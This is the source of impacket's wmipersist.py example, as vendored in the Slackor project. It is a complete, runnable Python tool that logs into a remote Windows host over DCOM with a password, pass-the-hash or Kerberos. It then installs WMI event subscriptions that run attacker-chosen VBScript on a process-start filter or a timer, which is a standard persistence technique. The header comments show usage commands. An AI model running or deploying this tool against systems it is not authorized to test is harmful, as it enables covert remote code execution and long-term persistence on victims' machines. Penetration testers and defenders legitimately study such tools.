github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/examples/wmipersist.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # This script creates/removes a WMI Event Consumer/Filter and link 9 # between both to execute Visual Basic based on the WQL filter 10 # or timer specified. 11 # 12 # Author: 13 # beto (@agsolino) 14 # 15 # Example: 16 # 17 # write a file toexec.vbs the following: 18 # Dim objFS, objFile 19 # Set objFS = CreateObject("Scripting.FileSystemObject") 20 # Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true) 21 # objFile.WriteLine "Hey There!" 22 # objFile.Close 23 # 24 # 25 # then execute this script this way, VBS will be triggered once 26 # somebody opens calc.exe: 27 # 28 # wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC 29 # -vbs toexec.vbs 30 # -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance 31 # ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"' 32 # 33 # or, if you just want to execute the VBS every XXX milliseconds: 34 # 35 # wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC 36 # -vbs toexec.vbs -timer XXX 37 # 38 # to remove the event: 39 # wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC 40 # 41 # if you don't specify the password, it will be asked by the script. 42 # domain is optional. 43 # 44 # Reference for: 45 # DCOM/WMI 46 from __future__ import division 47 from __future__ import print_function 48 import sys 49 import argparse 50 import logging 51 52 from impacket.examples import logger 53 from impacket import version 54 from impacket.dcerpc.v5.dcomrt import DCOMConnection 55 from impacket.dcerpc.v5.dcom import wmi 56 from impacket.dcerpc.v5.dtypes import NULL 57 58 59 class WMIPERSISTENCE: 60 def __init__(self, username = '', password = '', domain = '', options= None): 61 self.__username = username 62 self.__password = password 63 self.__domain = domain 64 self.__options = options 65 self.__lmhash = '' 66 self.__nthash = '' 67 if options.hashes is not None: 68 self.__lmhash, self.__nthash = options.hashes.split(':') 69 70 @staticmethod 71 def checkError(banner, resp): 72 if resp.GetCallStatus(0) != 0: 73 logging.error('%s - ERROR (0x%x)' % (banner, resp.GetCallStatus(0))) 74 else: 75 logging.info('%s - OK' % banner) 76 77 def run(self, addr): 78 dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 79 options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) 80 81 iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) 82 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 83 iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) 84 iWbemLevel1Login.RemRelease() 85 86 if self.__options.action.upper() == 'REMOVE': 87 self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name, 88 iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) 89 90 self.checkError('Removing EventFilter EF_%s' % self.__options.name, 91 iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) 92 93 self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name, 94 iWbemServices.DeleteInstance( 95 '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) 96 97 self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name, 98 iWbemServices.DeleteInstance( 99 r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' 100 r'Filter="__EventFilter.Name=\"EF_%s\""' % ( 101 self.__options.name, self.__options.name))) 102 else: 103 activeScript ,_ = iWbemServices.GetObject('ActiveScriptEventConsumer') 104 activeScript = activeScript.SpawnInstance() 105 activeScript.Name = self.__options.name 106 activeScript.ScriptingEngine = 'VBScript' 107 activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 108 activeScript.ScriptText = options.vbs.read() 109 self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, 110 iWbemServices.PutInstance(activeScript.marshalMe())) 111 112 if options.filter is not None: 113 eventFilter,_ = iWbemServices.GetObject('__EventFilter') 114 eventFilter = eventFilter.SpawnInstance() 115 eventFilter.Name = 'EF_%s' % self.__options.name 116 eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 117 eventFilter.Query = options.filter 118 eventFilter.QueryLanguage = 'WQL' 119 eventFilter.EventNamespace = r'root\cimv2' 120 self.checkError('Adding EventFilter EF_%s'% self.__options.name, 121 iWbemServices.PutInstance(eventFilter.marshalMe())) 122 123 else: 124 wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction') 125 wmiTimer = wmiTimer.SpawnInstance() 126 wmiTimer.TimerId = 'TI_%s' % self.__options.name 127 wmiTimer.IntervalBetweenEvents = int(self.__options.timer) 128 #wmiTimer.SkipIfPassed = False 129 self.checkError('Adding IntervalTimerInstruction', 130 iWbemServices.PutInstance(wmiTimer.marshalMe())) 131 132 eventFilter,_ = iWbemServices.GetObject('__EventFilter') 133 eventFilter = eventFilter.SpawnInstance() 134 eventFilter.Name = 'EF_%s' % self.__options.name 135 eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 136 eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name 137 eventFilter.QueryLanguage = 'WQL' 138 eventFilter.EventNamespace = r'root\subscription' 139 self.checkError('Adding EventFilter EF_%s'% self.__options.name, 140 iWbemServices.PutInstance(eventFilter.marshalMe())) 141 142 filterBinding,_ = iWbemServices.GetObject('__FilterToConsumerBinding') 143 filterBinding = filterBinding.SpawnInstance() 144 filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name 145 filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name 146 filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 147 148 self.checkError('Adding FilterToConsumerBinding', 149 iWbemServices.PutInstance(filterBinding.marshalMe())) 150 151 dcom.disconnect() 152 153 # Process command-line arguments. 154 if __name__ == '__main__': 155 # Init the example's logger theme 156 logger.init() 157 print(version.BANNER) 158 159 parser = argparse.ArgumentParser(add_help = True, description = "Creates/Removes a WMI Event Consumer/Filter and " 160 "link between both to execute Visual Basic based on the WQL filter or timer specified.") 161 162 parser.add_argument('target', action='store', help='[domain/][username[:password]@]<address>') 163 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 164 subparsers = parser.add_subparsers(help='actions', dest='action') 165 166 # A start command 167 install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter') 168 install_parser.add_argument('-name', action='store', required=True, help='event name') 169 install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the ' 170 'script you want to run') 171 install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger' 172 ' the script') 173 install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the' 174 ' script will be triggered') 175 176 # A stop command 177 remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter') 178 remove_parser.add_argument('-name', action='store', required=True, help='event name') 179 180 group = parser.add_argument_group('authentication') 181 182 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 183 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 184 group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 185 '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 186 'ones specified in the command line') 187 group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 188 '(128 or 256 bits)') 189 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 190 'ommited it use the domain part (FQDN) specified in the target parameter') 191 192 if len(sys.argv)==1: 193 parser.print_help() 194 sys.exit(1) 195 196 options = parser.parse_args() 197 198 199 if options.debug is True: 200 logging.getLogger().setLevel(logging.DEBUG) 201 else: 202 logging.getLogger().setLevel(logging.INFO) 203 204 205 if options.action.upper() == 'INSTALL': 206 if (options.filter is None and options.timer is None) or (options.filter is not None and options.timer is not None): 207 logging.error("You have to either specify -filter or -timer (and not both)") 208 sys.exit(1) 209 210 import re 211 212 domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 213 options.target).groups('') 214 215 #In case the password contains '@' 216 if '@' in address: 217 password = password + '@' + address.rpartition('@')[0] 218 address = address.rpartition('@')[2] 219 220 try: 221 if domain is None: 222 domain = '' 223 224 if options.aesKey is not None: 225 options.k = True 226 227 if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 228 from getpass import getpass 229 password = getpass("Password:") 230 231 executer = WMIPERSISTENCE(username, password, domain, options) 232 executer.run(address) 233 except (Exception, KeyboardInterrupt) as e: 234 if logging.getLogger().level == logging.DEBUG: 235 import traceback 236 traceback.print_exc() 237 logging.error(e) 238 sys.exit(0)